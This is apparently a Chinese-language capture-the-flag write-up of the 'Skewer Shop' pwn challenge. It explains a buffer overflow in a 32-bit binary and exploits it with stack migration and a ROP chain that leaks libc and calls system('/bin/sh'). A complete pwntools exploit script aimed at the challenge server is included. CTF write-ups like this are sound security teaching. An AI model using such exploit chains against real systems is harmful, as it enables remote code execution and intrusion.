# [CH] Skewer Shop
###### tags: `Writeup` `Pwn` `Chinese`
> [name=Curious]
## 思路和解法
下載之後可以透過 `Makefile` 裡的編譯指令得知,`chal` 這個 binary 是 32 bits 且沒有 PIE 和 Canary 的。
再來分析 `chal.c` 後可以知道在 `read(0, buf, 0x20)` 這邊有一個小小的 Buffer Overflow,如果用 `objdump -d -M intel chal` 詳細看 `chal` 的 assembly 的話,可以發現

`read` 會從 `$ebp - 0x14` 的地方讀 0x20 個 bytes,大致上思考一下或是從提示中可以推測,這題應該是需要用到 ROP + Stack Migration 這兩個技巧,因為沒有 PIE,所以我們可以直接使用這個 binary 本身 `.text` 區段的 assembly
因為 BOF 的長度很短,所以首先要做的事就是 Stack Migration,而且要寫 ROP Chain 到 Stack Migrate 之後的位置。所以首先先看看可以把 Stack Migrate 到哪裡
如果用 GDB 把 `chal` 跑起來的話,可以看到

可以看到 `0x804c000` - `0x804d000` 這一段有讀寫權限,我們可以取 `0x804d000 - 0x100` 做 Stack Migrate 的目標(之後稱這一段為 `buf1`)
再來因為要寫 ROP Chain 到 Stack Migrate 的位置,所以可以將 Stack 構造成
```
ebp -> | buf1
| 0x080491eb
| buf1
```
之後程式 `leave` 的時候就會把 `$ebp` 寫成 `buf1`,然後重新執行

的 `push 0x0`,現在的 stack 長這樣
```
esp -> | 0
| buf1
```
因為 `read` 會用到 3 個三數,然後如果仔細研究 Stack 的話,可以發現 `buf1` 後面的 4 bytes 是一個很大的數,所以 `call 0x8049050 <read@plt>` 的時候就會變成 `read(0, buf1, 很大的數)`
接著要構造 Stack Migrate 到 `buf1` 之後的 ROP Chain
這邊構造 ROP Chain 其實就有很多選擇,因為 ROP Chain 的長度就沒有限制,不過大致上都是要找到 libc 的位置,然後再 get shell。不過這邊還有一個問題就是 `chal` 本身自帶的 ROP gadget 只有

所以說我的構造方式是
```
| buf2 ; 0x804d000 - 0x80
| puts_plt ; return 到 puts@plt 會等同直接 call puts@plt,但是沒有把 return addres push 到 stack 上
| pop_ebx_ret ; puts@plt 的 return ROP gadget
| read_got ; puts@plt 的參數,用來 leak libc 的
| read_plt ; 接著從使用者那裡(使用者已經得到 libc),讀取第二段 Stack Migraate 的 ROP Chain
| leave_ret ; Stack Migrate
| 0
| buf2
| 0x80
```
之後的 ROP Chain 就直接 get shell 了
```
| buf1
| system_addr ; libc 的 system function
| leave_ret ; 沒啥意義,可以隨便放
| buf2 + 0x10. ; 指向 /bin/sh
| b"/bin"
| b"/sh\x00"
```
構造完之後就要把所有位址或是 offset 找出來了,因為 `chal` 是在 docker 中執行,所以 libc 相關的 offset 就要到 docker 中的 libc 尋找
用 `docker compose up -d` 跑起來後,可以用 `docker ps` 查看 container 相關訊息

然後用 `docker exec -it <container_id> bash` 進入 docker container 中,移動到 `/home/chal` 後可以看到 `chal` 這個執行檔,用 `ldd chal` 查看它 import 的 library

找到之後可以直接用 `objdump -T /lib32/libc.so.6 | grep <function name>` 去尋找 function 的 offset,這邊用 `system` 來舉例

這樣就可以知道 `system` 的 offset 是 0x47cb0
最後就是把 solve script 寫出來就可以 get shell 然後拿到 flag 了。
Solve Script :
```python
from pwn import *
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
buf1 = 0x804d000 - 0x100
buf2 = 0x804d000 - 0x80
read_plt = 0x8049050
read_got = 0x804c010
puts_plt = 0x8049060
leave_ret = 0x80491fd
pop_ebx_ret = 0x08049022
r = remote('lotuxctf.com', 10001)
r.recvline()
r.send(b'a' * 0x14 + flat(buf1, 0x080491eb, buf1))
r.send(flat(
buf2,
puts_plt, pop_ebx_ret, read_got,
read_plt, leave_ret, 0, buf2, 0x80
))
libc = u32(r.recv(4)) - 0x01084c0
info(f'libc : {hex(libc)}')
system_addr = libc + 0x0047cb0
r.recv(8)
r.send(flat(
buf1,
system_addr, leave_ret, buf2 + 0x10
) + b'/bin/sh\x00')
r.interactive()
```
{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}